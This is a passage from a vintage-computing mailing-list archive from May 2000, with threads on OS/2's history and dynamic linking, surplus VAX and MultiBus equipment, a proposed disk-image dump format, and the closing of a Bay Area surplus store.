was Gordon Letwin's counterpart at IBM) > > > >wrote an article that appeared in a magazine that described OS/2's > > > >dynamic linking as operating the way it should. > > > > > > > >The key difference is this: in real dynamic linking, CALL instructions > > > >that are supposed to invoke procedures in a DLL are constructed in the > > > >executable image such that when the processor executes the CALL, it > > > >causes a GPF [pointer fault]; then the GPF handler looks at the faulting > > > >instruction. If the pointer is a faulted pointer to a routine in a DLL, > > > >then snap the link [map the DLL into memory and then modify the faulting > > > >instruction to point to the entry point of the routine as described in > > > >the DLL's export table], and restart the instruction. Otherwise, it's > > a bug > > > >and you signal a condition which somehere generates an error message. > > > >In this scenario, programs start up much faster because the OS is not > > > >reading and linking every routine in the executable's import table. If > > > >you never use feature in the program, and if feature resides > > > >tottally in a separate DLL, then that DLL never gets mapped into RAM. > > > >MUCH, MUCH better execution, more robust operation, in particular, the > > > >machine wouldn't thrash at startup dur to all those programs in your > > > >startup folder. > > > > > > > >Due to Ed's article, I always assumed that there was a turf was between > > > >IBM and Microsoft on this and other salient technical points. MS won > > > >and was wrong. > > > > > > > >So, having said that, you might see why I'm not a big fan of Letwin's. > > > > > > > >Shew! Glad I got _that_ off my chest again. > > > > > > > >respectfully submitted, > > > >-doug quebbeman > > > > > > > > > - Steve Mastrianni > > > > > > - Steve Mastrianni > From kyrrin at bluefeathertech.com Fri May 26 19:15:58 2000 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:53:09 2005 Subject: EQUIPMENT ALERT: MultiBus goodies & VAXen! Message-ID: <392EB14E.7749.A044DD5@localhost> CC'd to Port-VAX and Classiccmp... Hi, folks, The local (Seattle) used computer place I work with on occasion has turned up a whole stack of DEC VAXStation 4000's (desktop/'pizza box' configuration). I think these are the VLC model. Very little is known about them, though I also saw a whole pile of in-the-box LK401 keyboards with them. I'm pretty sure the owner of the place would let 'em go pretty cheap, especially since they're mainly a PC store. If there's any interest in these, let me know and I'll go over one or more in detail. Now, on the MultiBus front: The Seattle store has turned up a MultiBus computer that's full of boards, and at least one tape drive. It's in a rack chassis, pretty light for its size, and has a whole slew of serial ports (9-pinners) on the backside. It also has an SMD disk controller, and what appears to be a SCSI adapter (at least it's tied to a SCSI/QIC-xx bridge board to run the cartridge tape drive). Again, if there's any interest, let me know (and please include any offers -- don't be shy!) and I'll see what I can do to rescue the beastie. Thanks much. -=-=-=-=-=-=-=-=-=-=-=-=-=-=- Bruce Lane, Owner/Head Honcho, Blue Feather Technologies (www.bluefeathertech.com) kyrrin@bluefeathertech.com "SCSI Users, Unite! Beware the IDEs of March!" From allain at panix.com Fri May 26 19:43:06 2000 From: allain at panix.com (John Allain) Date: Sun Feb 27 18:53:09 2005 Subject: OS/2 References: <000201bfc74d$21192b10$0e0301ac@dba00802.databaseamerica.com> Message-ID: <001d01bfc774$864a1900$8a0101ac@ibm23xhr06> My neatest memory regarding OS/2 is of seeing a demonstration on 'Computer Chronicles' all the way back in 1987-88. It was more than a decent, polished demo of multitasking and enterprise apps. The wild thing about it was that the point man seen on the air was Lee Reiswig himself, who I found out later was at the executive level. If you watched Computer Chronicles very much you knew that unless it was a 10-50 man company the demonstrator was always a tech or sales guy. For IBM to send a VP, and for the Demo to have worked as well as it did really made it stand out in the context of that show. Lee got my respect for being more than just a title for that. (A little like, but better, watching Alex Trotman change oil on Michael Moore's 'TV Nation') John A. From pechter at pechter.dyndns.org Fri May 26 19:56:21 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:53:09 2005 Subject: EQUIPMENT ALERT: MultiBus goodies & VAXen! In-Reply-To: <392EB14E.7749.A044DD5@localhost> from Bruce Lane at "May 26, 2000 05:15:58 pm" Message-ID: <200005270056.UAA47782@bg-tc-ppp550.monmouth.com> > CC'd to Port-VAX and Classiccmp... > > Hi, folks, > > The local (Seattle) used computer place I work with on > occasion has turned up a whole stack of DEC VAXStation 4000's > (desktop/'pizza box' configuration). I think these are the VLC model. > > Very little is known about them, though I also saw a whole pile > of in-the-box LK401 keyboards with them. I'm pretty sure the owner > of the place would let 'em go pretty cheap, especially since they're > mainly a PC store. Sounds interesting. I've got a VaxStation 3100 but I'm interested in something like the 4000's. > > If there's any interest in these, let me know and I'll go over one > or more in detail. Please do. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From stevemas at persys.com Fri May 26 20:25:17 2000 From: stevemas at persys.com (Steve Mastrianni) Date: Sun Feb 27 18:53:09 2005 Subject: OS/2 In-Reply-To: References: <4.3.1.2.20000526161020.00ce0460@persys.com> Message-ID: <4.3.1.2.20000526211849.0579b8c0@persys.com> OS/2 was modified at 2.0 to include a flat memory model. Apps and DLLs went to 32-bit flat model code. Legacy apps got their APIs thunked to 32-bits. It was also possible to use legacy DLLs from 32-bit apps, which got their APIs thunked 32 to 16 and back. Some called it a hack, for IBM it was a way to get legacy 1.x apps to run in 2.x. Older DOS and Win apps were run the V86 mode, each with their own 1MB sandbox. Of course none of that matters now. 8-) At 05:36 PM 5/26/00 -0400, you wrote: >Eh? You're both wrong. OS/2 used the protected-mode multi-segment >support of the x86, but recall that OS/2 was originally released on the >286 -- it didn't have any paging support. It's easy to distinguish a >fault during a CS load from a GPF, and no page fault is involved. > >Cheers, >Doug > >On Fri, 26 May 2000, Steve Mastrianni wrote: > > > Close, but not quite correct. > > > > GPF is a general protection fault, the most common problem is a bad or > > uninitialized pointer. > > > > What makes a DLL get loaded, or paged in, is a page fault. Its the same > > mechanism that causes a swapped out page to be swapped back in on a 4K > > boundary. > > > > At 02:56 PM 5/26/00 -0400, you wrote: > > > > > > Don't forget that OS/2 was written by Gordon Letwin > > > > AT MICROSOFT! > > > > > > > > > > > > You might enjoy reading "Inside OS/2" by Gordon Letwin; from Microsoft > > > > Press. > > > > > >While I agree OS/2 is a better operating system than Windows, this > > >book depressed me due to Gordon's wrongheaded-belief that a GPF > > >should always be considered an indicator of a programming problem. > > > > > >Since Intel didn't give us a pointer fault, the GPF is the only > > >proper way to implement dynamic linking. As they shipped, OS/2 > > >from version 1.0 to 1.2 never did properly implement dynamic linking; > > >and Windows inherits the wrong way from OS/2. > > > > > >Strangely, Ed Iacobucci (who was Gordon Letwin's counterpart at IBM) > > >wrote an article that appeared in a magazine that described OS/2's > > >dynamic linking as operating the way it should. > > > > > >The key difference is this: in real dynamic linking, CALL instructions > > >that are supposed to invoke procedures in a DLL are constructed in the > > >executable image such that when the processor executes the CALL, it > > >causes a GPF [pointer fault]; then the GPF handler looks at the faulting > > >instruction. If the pointer is a faulted pointer to a routine in a DLL, > > >then snap the link [map the DLL into memory and then modify the faulting > > >instruction to point to the entry point of the routine as described in > > >the DLL's export table], and restart the instruction. Otherwise, it's > a bug > > >and you signal a condition which somehere generates an error message. > > >In this scenario, programs start up much faster because the OS is not > > >reading and linking every routine in the executable's import table. If > > >you never use feature in the program, and if feature resides > > >tottally in a separate DLL, then that DLL never gets mapped into RAM. > > >MUCH, MUCH better execution, more robust operation, in particular, the > > >machine wouldn't thrash at startup dur to all those programs in your > > >startup folder. > > > > > >Due to Ed's article, I always assumed that there was a turf was between > > >IBM and Microsoft on this and other salient technical points. MS won > > >and was wrong. > > > > > >So, having said that, you might see why I'm not a big fan of Letwin's. > > > > > >Shew! Glad I got _that_ off my chest again. > > > > > >respectfully submitted, > > >-doug quebbeman > > > > > > - Steve Mastrianni > > - Steve Mastrianni From wilson at dbit.dbit.com Fri May 26 21:13:23 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:53:09 2005 Subject: OS/2 In-Reply-To: <392EB47C.5D0790AF@cheta.net>; from Technoid@cheta.net on Fri, May 26, 2000 at 01:29:32PM -0400 References: <200005261043.GAA39147@bg-tc-ppp925.monmouth.com> <392EB47C.5D0790AF@cheta.net> Message-ID: <20000526221323.A3827@dbit.dbit.com> On Fri, May 26, 2000 at 01:29:32PM -0400, Technoid Mutant wrote: >The market is so steeped in MS-generated ignorance and bigotry against OS/2 >that >most people in this group have little or no experience with it. I really don't get how that happened. I jumped on OS/2 when V2.0 came out (after reading a really positive review, in Comp Shopper I think), but then felt burned by the bugs in V2.1 beta (how on earth did they break my text mode "hello world" program?!?!) and bailed. Then, a while later, M$ released WNT and everyone acted as if it was the second coming -- "at last, a 32-bit GUI-based OS designed for PCs, with true pre-emptive multitasking". Hmm, where had I seen one of those before, that ran faster in less memory, came from a more competent vendor, and had a lot more miles on it? The weird thing is, M$'s absolute stranglehold on the marketplace has really only been for the last few years. Or at least it seems that way, because each new height of predatory behavior they get away with makes the previous rounds seem insignificant. So I don't get how they managed to lock out IBM. I can understand why early OS/2 didn't make much of a splash, it was a lot of weight for the relatively wussified 286 CPUs to support. Early Windows was too big for the PCs of the time too, and it was largely ignored as a result. But OS/2 V2.0 and the 386+ machines were a very good match for each other. It deserved to succeed, and at the time Windows was only just starting to snowball, so OS/2 should have been there in time to really get some market share. John Wilson D Bit From foo at siconic.com Fri May 26 20:44:37 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:53:09 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <4.3.0.20000526112918.020b9c20@pc> Message-ID: On Fri, 26 May 2000, John Foust wrote: > Below is the section from the manual that describes their > file format. > <...> > > Each sector written to the file is optionally preceded by an > 8-byte header record of the following form: > > > +------+------+------+------+------+------+----------+ > | ACYL | ASID | LCYL | LSID | LSEC | LLEN | COUNT | > +------+------+------+------+------+------+----------+ > > ACYL Actual cylinder, 1 byte > ASID Actual side, 1 byte > LCYL Logical cylinder; cylinder as read, 1 byte > LSID Logical side; or side as read, 1 byte > LSEC Sector number as read, 1 byte > LLEN Length code as read, 1 byte > COUNT Byte count of data to follow, 2 bytes. If zero, > no data is contained in this sector. > > All sectors occurring on a side will be grouped together; > however, they will appear in the same order as they occurred on > the diskette. Therefore, if an 8 sector-per-track diskette were > scanned which had a physical interleave of 2:1, the sectors might > appear in the order 1,5,2,6,3,7,4,8 in the DOS dump file. > > After the last specified cylinder has been written to the DOS > file, AnaDisk returns to the Main Menu. This is a good start. The header should include a byte that contains a flag indicating the status of the sector (good, bad, etc). What about odd formats? I take my experience from the Apple ][. You had stuff like half-tracks and quarter-tracks (the head was stepped half-way or half of half-way between tracks to store data), odd disk formats (custom sector sizes, custom sector layouts, etc.), synchronization between tracks (one copy protection scheme was to write a two tracks so that if a seek was done from one track to the other, a specific sector would be expected under the head as soon as it got to the next track). Many of these methods were also used on the C64, and I believe on the Atari 8-bits. Software has been written on the Apple ][ to read the raw track data and dump it into a file that could then be compressed and sent over a modem line. Copy protected disks could only be archived in this manner, or else they would need to be cracked. I have a ton of original software for the Apple ][, and a ton of cracked software. I'd like to archive both, as the cracked copies often included the "credits" that the cracker placed on the software for having cracked it, and this is part of the culture (in fact it's a fairly interesting part of the culture that I'd like to document some day). The AnaDisk software doesn't seem to accomodate copy protected or custom-format disks. The standard will have to address these disks as well. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From foo at siconic.com Fri May 26 20:48:20 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:53:09 2005 Subject: Documenting how old computers were used In-Reply-To: <004e01bfc732$4fad1a60$0200a8c0@marvin> Message-ID: On Fri, 26 May 2000, Mark Gregory wrote: > It seems to me that increasingly, social historians and museums are more > interested in _how_ an artifact was used than in the thing itself. But > often , especially when I receive multiple examples of the same system, I > mix and match parts and programs to suit myself, and lose track of which > disk drive came with which CPU, which software was originally installed on > each, etc. Information is obviously being lost here. > > I'd be interested to know what other list members are doing, and how > important you think the information being lost is. In fact, this is a subject I have been thinking about recently and I'm hoping to commission a talk for the next VCF. Any takers? I keep the systems I receive intact, as long as they came from the original owner. If I purchase something from a flea market or thrift store, it is usually already separated from the of the unit, and even if not, the context is lost. So I don't have problems with separating those pieces or mixing and matching them with other systems. As far as any books I receive with a computer, I have decided to separate those out into my library, but note whom they came from. The same would go for software. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From allisonp at world.std.com Fri May 26 20:27:55 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:53:09 2005 Subject: OS/2 Message-ID: <008501bfc783$14532620$7664c0d0@ajp166> >OS/2 was modified at 2.0 to include a flat memory model. Apps and DLLs went >to 32-bit flat model code. Legacy apps got their APIs thunked to 32-bits. >It was also possible to use legacy DLLs from 32-bit apps, which got their >APIs thunked 32 to 16 and back. Some called it a hack, for IBM it was a way >to get legacy 1.x apps to run in 2.x. Older DOS and Win apps were run the >V86 mode, each with their own 1MB sandbox. > >Of course none of that matters now. 8-) As I happen to have an IBM OS/2 warp V3 kit with bonus pak it makes me want to play again with it. I did in the last outing try installing it and it went well but I found the interface feeling a bit strange. It sounds like it has attributes that would make it ideal for smaller 486s and any 386s with enough ram but unlike some that want Multimedia I'd want IP (eithernet) networking. Allison From SUPRDAVE at aol.com Fri May 26 23:07:33 2000 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 18:53:09 2005 Subject: OS/2 Message-ID: <24.589b81f.2660a405@aol.com> In a message dated 5/26/00 11:26:21 PM Eastern Daylight Time, allisonp@world.std.com writes: > As I happen to have an IBM OS/2 warp V3 kit with bonus pak it makes me > want to play again with it. I did in the last outing try installing it and > it went well > but I found the interface feeling a bit strange. It sounds like it has > attributes > that would make it ideal for smaller 486s and any 386s with enough ram > but unlike some that want Multimedia I'd want IP (eithernet) networking. i love os/2's WPS! if i could find a os/2 type shell for linux, i'd switch in a minute. if you want networking, go get warp connect. i've been told that it's been tweaked a little after warp 3.0 came out. i have it running on a PS/2 server 95 with 48meg with scsi and i get full multimedia and can connect to my isp and my other machines. if DSL ever gets around here, i will use it to host my site. DB Young Team OS/2 hurry, hurry, step right up! see the computers you used as a kid! http://members.aol.com/suprdave/classiccmp/museum.htm From stevemas at persys.com Fri May 26 23:47:40 2000 From: stevemas at persys.com (Steve Mastrianni) Date: Sun Feb 27 18:53:10 2005 Subject: OS/2 In-Reply-To: <20000526221323.A3827@dbit.dbit.com> References: <392EB47C.5D0790AF@cheta.net> <200005261043.GAA39147@bg-tc-ppp925.monmouth.com> <392EB47C.5D0790AF@cheta.net> Message-ID: <4.3.1.2.20000527002302.05e2ce40@persys.com> >>So I don't get how they managed to lock out IBM. Simple: its the apps. Businesses and individuals don't run operating systems, they run applications. Trying to sell the OS on its merits as "the integrating platform" was not enough. Sure, it could multitask DOS and Windows apps, but users wanted much more than the old, tired real-mode applications. The wanted a flat address space to run those huge apps, and a file system with enough capacity to hold their giant databases. Cooperative multitasking is plumbing, and while some users could appreciate it, it was mostly a selling point for early adopters, geeks, and developers. At 10:13 PM 5/26/00 -0400, you wrote: >On Fri, May 26, 2000 at 01:29:32PM -0400, Technoid Mutant wrote: > >The market is so steeped in MS-generated ignorance and bigotry against OS/2 > >that > >most people in this group have little or no experience with it. > >I really don't get how that happened. I jumped on OS/2 when V2.0 came out >(after reading a really positive review, in Comp Shopper I think), but >then felt burned by the bugs in V2.1 beta (how on earth did they break my >text mode "hello world" program?!?!) and bailed. Then, a while later, M$ >released WNT and everyone acted as if it was the second coming -- "at last, >a 32-bit GUI-based OS designed for PCs, with true pre-emptive multitasking". >Hmm, where had I seen one of those before, that ran faster in less memory, >came from a more competent vendor, and had a lot more miles on it? > >The weird thing is, M$'s absolute stranglehold on the marketplace has really >only been for the last few years. Or at least it seems that way, because >each new height of predatory behavior they get away with makes the previous >rounds seem insignificant. So I don't get how they managed to lock out IBM. >I can understand why early OS/2 didn't make much of a splash, it was a lot of >weight for the relatively wussified 286 CPUs to support. Early Windows was >too big for the PCs of the time too, and it was largely ignored as a result. >But OS/2 V2.0 and the 386+ machines were a very good match for each other. >It deserved to succeed, and at the time Windows was only just starting to >snowball, so OS/2 should have been there in time to really get some market >share. > >John Wilson >D Bit - Steve Mastrianni From wilson at dbit.dbit.com Sat May 27 00:39:27 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:53:10 2005 Subject: OS/2 In-Reply-To: <4.3.1.2.20000527002302.05e2ce40@persys.com>; from stevemas@persys.com on Sat, May 27, 2000 at 12:47:40AM -0400 References: <392EB47C.5D0790AF@cheta.net> <200005261043.GAA39147@bg-tc-ppp925.monmouth.com> <392EB47C.5D0790AF@cheta.net> <20000526221323.A3827@dbit.dbit.com> <4.3.1.2.20000527002302.05e2ce40@persys.com> Message-ID: <20000527013927.A4346@dbit.dbit.com> On Sat, May 27, 2000 at 12:47:40AM -0400, Steve Mastrianni wrote: > >>So I don't get how they managed to lock out IBM. > >Simple: its the apps. Businesses and individuals don't run operating >systems, they run applications. Trying to sell the OS on its merits as "the >integrating platform" was not enough. Sure, it could multitask DOS and >Windows apps, but users wanted much more than the old, tired real-mode >applications. The wanted a flat address space to run those huge apps, and a >file system with enough capacity to hold their giant databases. But that's my point, OS/2 had that stuff back when Windows was still all strangled with 64 KB segments (even on CPUs that supported 4 GB segs) and the FAT file system and uncooperative single-tasking. And with applications too, M$'s absolute 100% dominance is a pretty recent development. There used to be piles of little application vendors before M$ killed them all, and plenty of them released OS/2 versions of their stuff (or, it worked so well in the compatibility boxes that there was no need). Customers don't care what percentage of applications run on an OS, they care whether the applications *they use* run on that OS. So an OS that runs less than 100% of the software in the world doesn't automatically deserve a 0% market share. I mean why the heck are Macs still around if so! I mean, just a couple of years ago, most games would not run under Windows. If you wanted games, you needed real live DOS. Yet M$ was somehow able to convince everyone to abandon it anyway and start writing their games for Windows, even though it had a bad rep among games users. How?! I'm just amazed at how M$ continues to tell the whole world to stand on its head and cluck like a chicken, and it actually works! John Wilson D Bit From mikeford at socal.rr.com Sat May 27 01:28:08 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:53:10 2005 Subject: Terminal Illness In-Reply-To: References: <3.0.1.16.20000525224452.355fa79a@mailhost.intellistar.net> from "Joe" at May 25, 0 10:44:52 pm Message-ID: I was snooping in a distant salvage yard, and this place just got all the extra "stuff" from a long long time electronics place in Fullerton CA (RD Electronics). Part of the haul was the "collection" of old terminals that sat on shelves around the store for the last 30 years. They are currently sitting on pallets out in the yard, and I don't know how long this has been the case. One terminal I noticed was a ADM31 funny clamshell looking thing, but NO WAY am I going to haul a bunch of old terminals home at random. I didn't even dig enough to have a clue about what else is present, BUT there was a gaylord of rolls of ribbon cables and all that sort of old electronics store downsizing type stuff. Email me for details if driving to the "inland" empire sounds like fun. From kyrrin at bluefeathertech.com Sat May 27 03:52:25 2000 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:53:10 2005 Subject: A moment of silence... Message-ID: <392F2A59.22311.BDD2264@localhost> A moment of silence, if you would, please, for the death of another long-lived electronics/computer surplus place. At the end of last month, Haltek Electronics, Mountain View, CA closed their doors. Not because they wanted to, nor because they didn't have a loyal following, but purely because of greed on the part of their jackass of a landlord. It seems that their lease was up for renewal. Their landlord, decided to get greedy, and wanted to at least double what they'd been paying for rent (maybe even 2.5 or triple... I'm not certain). In any case, they could not have continued to make a reasonable profit given what said landlord wanted to do, and there was no better location available. They opted for a quiet and dignified end. While they may rarely have had the best prices on test gear or computer hardware, Haltek was a very helpful source of parts for me and Lord only knows how many other electronics types in the Bay Area and beyond. I sincerely hope their landlord ends up holding on to a completely empty building for a VERY long time! Methinks he's a graduate of the Bill Gates School of Compassion. :-P Whatever else happens, I pray that other surplus stores, such as Weird Stuff and Sharon Industries, aren't next on the chopping block. -=-=-=-=-=-=-=-=-=-=-=-=-=-=- Bruce Lane, Owner/Head Honcho, Blue Feather Technologies (www.bluefeathertech.com) kyrrin@bluefeathertech.com "SCSI Users, Unite! Beware the IDEs of March!" From peter at joules.org Sat May 27 02:43:13 2000 From: peter at joules.org (Peter Joules) Date: Sun Feb 27 18:53:10 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re: Notes on repa... In-Reply-To: <392DD40E.D9E6982D@rain.org> References: <34.5aac901.265f149c@aol.com> <392DD40E.D9E6982D@rain.org> Message-ID: In article <392DD40E.D9E6982D@rain.org>, Marvin writes > > > >How about dropping this particular thread or taking it to email. Starting >this kind of a flame war here doesn't do anyone any good. IIRC it's a long time since we had a good flame war on the list. ObCC - I have just changed jobs and have been sold the MicroVAX 3100 which I had on loan for 10 UKP. All of the other hardware and software which I am supposed to return remains in limbo - they don't particularly want it back as they would then have to throw it away but they retain ownership :( -- Regards Pete From mike at delos.rain.com Sat May 27 05:04:18 2000 From: mike at delos.rain.com (Mike Newman) Date: Sun Feb 27 18:53:10 2005 Subject: Bootable Floppy from CD? In-Reply-To: <392C779A.7663DB0C@mcmanis.com> Message-ID: <392F3B32.31609.149F59A@localhost> On 24 May 2000, at 17:45, Chuck McManis wrote: > In an effort to preserve all my miscellaneous driver floppies I've been > copying them to CD-rom. I figured I should also do this for my DOS 6.3 > disks but realized that I don't know how to create a bootable DOS 6.3 > system disk from the disk itself. I've considered using dd(1) on unix to > create just the disk image that I can later use dd to copy back out but > was wondering if perhaps there was a better way. > > --Chuck My favorite program for saving floppy disk images is WinImage (www.winimage.com). As the name implies, it's a Windows program and its purpose is to make (and allow you to modify) images of IBM-compatible disks. One very handy feature is the ability to convert images to different disk formats, such as 1.2 MB to 1.44 MB (yes, that includes bootable disks). You can create a self-extracting image file for distribution to people who don't have WinImage. You can even create image files from hard drives, or .ISO image files from CD-ROMs. Files can be extracted from images without having to re-create the floppy disk. The program can even save the directory listing as text or html. Some features are only available in the "Pro" version, but I don't remember the details because that's the version I have. If only it could modify .ISO images the way it can modify floppy disk images... ----------------------------------------------------- Mike Newman INTERNET: mike@delos.rain.com Aloha, Oregon USA -or- mike.w.newman@gte.net http://home1.gte.net/res003ki/index.htm ----------------------------------------------------- Laws of Project Management #4: When things are going well, something will go wrong. When things just can't get any worse, they will. When things appear to be going better you have overlooked something. From bwit at pobox.com Sat May 27 07:23:29 2000 From: bwit at pobox.com (Bob Withers) Date: Sun Feb 27 18:53:10 2005 Subject: OS/2 In-Reply-To: <20000526221323.A3827@dbit.dbit.com> References: <392EB47C.5D0790AF@cheta.net> <200005261043.GAA39147@bg-tc-ppp925.monmouth.com> <392EB47C.5D0790AF@cheta.net> Message-ID: <4.3.1.0.20000527070918.00a7ee80@mail.ruffboy.com> At 10:13 PM 5/26/00 -0400, you wrote: >On Fri, May 26, 2000 at 01:29:32PM -0400, Technoid Mutant wrote: > >The market is so steeped in MS-generated ignorance and bigotry against OS/2 > >that > >most people in this group have little or no experience with it. > >[snip] > >The weird thing is, M$'s absolute stranglehold on the marketplace has really >only been for the last few years. Or at least it seems that way, because >each new height of predatory behavior they get away with makes the previous >rounds seem insignificant. So I don't get how they managed to lock out IBM. >I can understand why early OS/2 didn't make much of a splash, it was a lot of >weight for the relatively wussified 286 CPUs to support. Early Windows was >too big for the PCs of the time too, and it was largely ignored as a result. >But OS/2 V2.0 and the 386+ machines were a very good match for each other. >It deserved to succeed, and at the time Windows was only just starting to >snowball, so OS/2 should have been there in time to really get some market >share. I think Microsoft's FUD did play a major role in keeping the power of OS/2 a secret. However, I believe that IBM is just as responsible for the failure. IBM went out of their way to imply that OS/2 would only work on PS/2's. At the very least the implication was that it would certainly work "better" on a PS/2. This hurt OS/2 sales very badly. In addition, I found IBM very difficult to work with. They were never very forthcoming with technical information. I don't think this was because of the arrogance/incompetence found in working with Microsoft today. Rather, I think IBM's bureaucracy left precious few people with the authority to release information. At the time I was working for a large company who was sinking millions into OS/2 development. We constantly had to escalate problems up our management chain so one of our VP's could call one of IBM's VP's to get some action. On the other hand Microsoft was very forthcoming back in the late 80's and early 90's. They published all manner of technical information on OS/2 and when you had a problem you generally got to work with one of their developers. I was very sorry that OS/2 never got the respect it deserved but I was never surprised. Regards, Bob ------------------------------------------------------------------------------------------ Bob Withers Do or do not, there is no try. bwit@pobox.com Yoda. http://www.ruffboy.com ------------------------------------------------------------------------------------------ ----- BEGIN GEEK CODE BLOCK ----- Version 3.1 http://www.geekcode.com GCS d- s: a+ C++ UO++ P L++ E--- W++ N++ o-- w++ O M V- PS PE Y+ PGP t+ 5 X++ r* tv+ b++ DI++ D--- G e++ h--- r+++ y+++ ----- END GEEK CODE BLOCK ----- From ghldbrd at ccp.com Sat May 27 15:45:15 2000 From: ghldbrd at ccp.com (Gary Hildebrand) Date: Sun Feb 27 18:53:10 2005 Subject: A moment of silence... In-Reply-To: <392F2A59.22311.BDD2264@localhost> Message-ID: Hello Bruce On 27-May-00, you wrote: > A moment of silence, if you would, please, for the death of > another long-lived electronics/computer surplus place. > > At the end of last month, Haltek Electronics, Mountain View, > CA closed their doors. Not because they wanted to, nor because > they didn't have a loyal following, but purely because of greed on > the part of their jackass of a landlord. > > It seems that their lease was up for renewal. Their landlord, > decided to get greedy, and wanted to at least double what they'd > been paying for rent (maybe even 2.5 or triple... I'm not certain). > > In any case, they could not have continued to make a > reasonable profit given what said landlord wanted to do, and there > was no better location available. They opted for a quiet and > dignified end. > > While they may rarely have had the best prices on test gear or > computer hardware, Haltek was a very helpful source of parts for > me and Lord only knows how many other electronics types in the > Bay Area and beyond. > > I sincerely hope their landlord ends up holding on to a > completely empty building for a VERY long time! Methinks he's a > graduate of the Bill Gates School of Compassion. :-P > > Whatever else happens, I pray that other surplus stores, such > as Weird Stuff and Sharon Industries, aren't next on the chopping > block. > > > -=-=-=-=-=-=-=-=-=-=-=-=-=-=- > Bruce Lane, Owner/Head Honcho, > Blue Feather Technologies (www.bluefeathertech.com) > kyrrin@bluefeathertech.com > "SCSI Users, Unite! Beware the IDEs of March!" > Yes, seems more and more people here have been watching "Wall Street" (the movie and the real thing) and embracing Sam Geckoe's motto, "Greed . . . is good." Seems to be the way of the new millenium, starting with the gas pumps. Regards -- Gary Hildebrand ghldbrd@ccp.com From allisonp at world.std.com Sat May 27 09:48:11 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:53:10 2005 Subject: A moment of silence... Message-ID: <00c701bfc7ed$30769e80$7664c0d0@ajp166> >Yes, seems more and more people here have been watching "Wall Street" (the >movie and the real thing) and embracing Sam Geckoe's motto, "Greed . . . is >good." Seems to be the way of the new millenium, starting with the gas >pumps. Nah, the move was a late comer, the gas gag was done 28 years ago and then pulled out every 12-15 for another try. They get away with it every time. Allison From foo at siconic.com Sat May 27 10:53:22 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:53:10 2005 Subject: A moment of silence... In-Reply-To: <392F2A59.22311.BDD2264@localhost> Message-ID: On Sat, 27 May 2000, Bruce Lane wrote: > At the end of last month, Haltek Electronics, Mountain View, > CA closed their doors. Not because they wanted to, nor because > they didn't have a loyal following, but purely because of greed on > the part of their jackass of a landlord. > > It seems that their lease was up for renewal. Their landlord, > decided to get greedy, and wanted to at least double what they'd > been paying for rent (maybe even 2.5 or triple... I'm not certain). Bruce. You don't live in the area here. You don't understand the reality of the situation. In case you hadn't noticed, there is an economic boom going on here unparalleled in the history of man (or so the economists say, but at any rate, it's huge). The market for real estate in the Silicon Valley, for better or worse, is skyrocketing. Property values have shot up, along with rents. Now, in a communist state, this landlord would indeed be a greedy jackass, or worse! But here in the good old U.S. of A., he's a capitalist. Why should he be expected to operate as a charity? Get some perspective. > While they may rarely have had the best prices on test gear or > computer hardware, Haltek was a very helpful source of parts for > me and Lord only knows how many other electronics types in the > Bay Area and beyond. I agree that the prices they charged for surplus electronics was mostly inflated. Perhaps if they did have more reaonable pricing they would have had a more vibrant business and would have been able to adjust to the higher rent? Greedy jackass(es)? > I sincerely hope their landlord ends up holding on to a > completely empty building for a VERY long time! Methinks he's a > graduate of the Bill Gates School of Compassion. :-P I bet it's rented out already. > Whatever else happens, I pray that other surplus stores, such > as Weird Stuff and Sharon Industries, aren't next on the chopping > block. If their business model doesn't allow them to absorb higher rents then I'm afraid they'll go under as well. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From kyrrin at bluefeathertech.com Sat May 27 12:20:49 2000 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:53:10 2005 Subject: A moment of silence... In-Reply-To: References: <392F2A59.22311.BDD2264@localhost> Message-ID: <392FA181.25944.DAE962F@localhost> > Bruce. You don't live in the area here. You don't understand the reality > of the situation. In case you hadn't noticed, there is an economic boom Excuse me. I grew up in the Bay Area. Born and raised in Berkeley, lived there for 23+ years before moving to WA. Yes, I do understand some of the difficulties of finding decent real estate. However, I would want hard proof that something other than greed was involved before I stop calling their landlord a jackass. > Get some perspective. Thank you for sharing your opinion. I still find it hard to believe that some sort of deal could not have been worked out. The ONLY reason prices and rents are skyrocketing as they are is because of the odd and abstract idea that they should. People create inflation, not the other way around. Sellam, I appreciate your sharing your opinion. However, it does not change mine. I'm not going to go into this any further because (a), I don't trust myself to do so without getting thoroughly infuriated, and (b), I don't want to clutter the list with a long and invovled argument. I will say this much, and leave it as such. You can take your "perspective" and stick it in your 8" floppy drive. -=-=-=-=-=-=-=-=-=-=-=-=-=-=- Bruce Lane, Owner/Head Honcho, Blue Feather Technologies (www.bluefeathertech.com) kyrrin@bluefeathertech.com "SCSI Users, Unite! Beware the IDEs of March!" From chris at mainecoon.com Sat May 27 13:48:10 2000 From: chris at mainecoon.com (Chris Kennedy) Date: Sun Feb 27 18:53:10 2005 Subject: A moment of silence... References: <392F2A59.22311.BDD2264@localhost> <392FA181.25944.DAE962F@localhost> Message-ID: 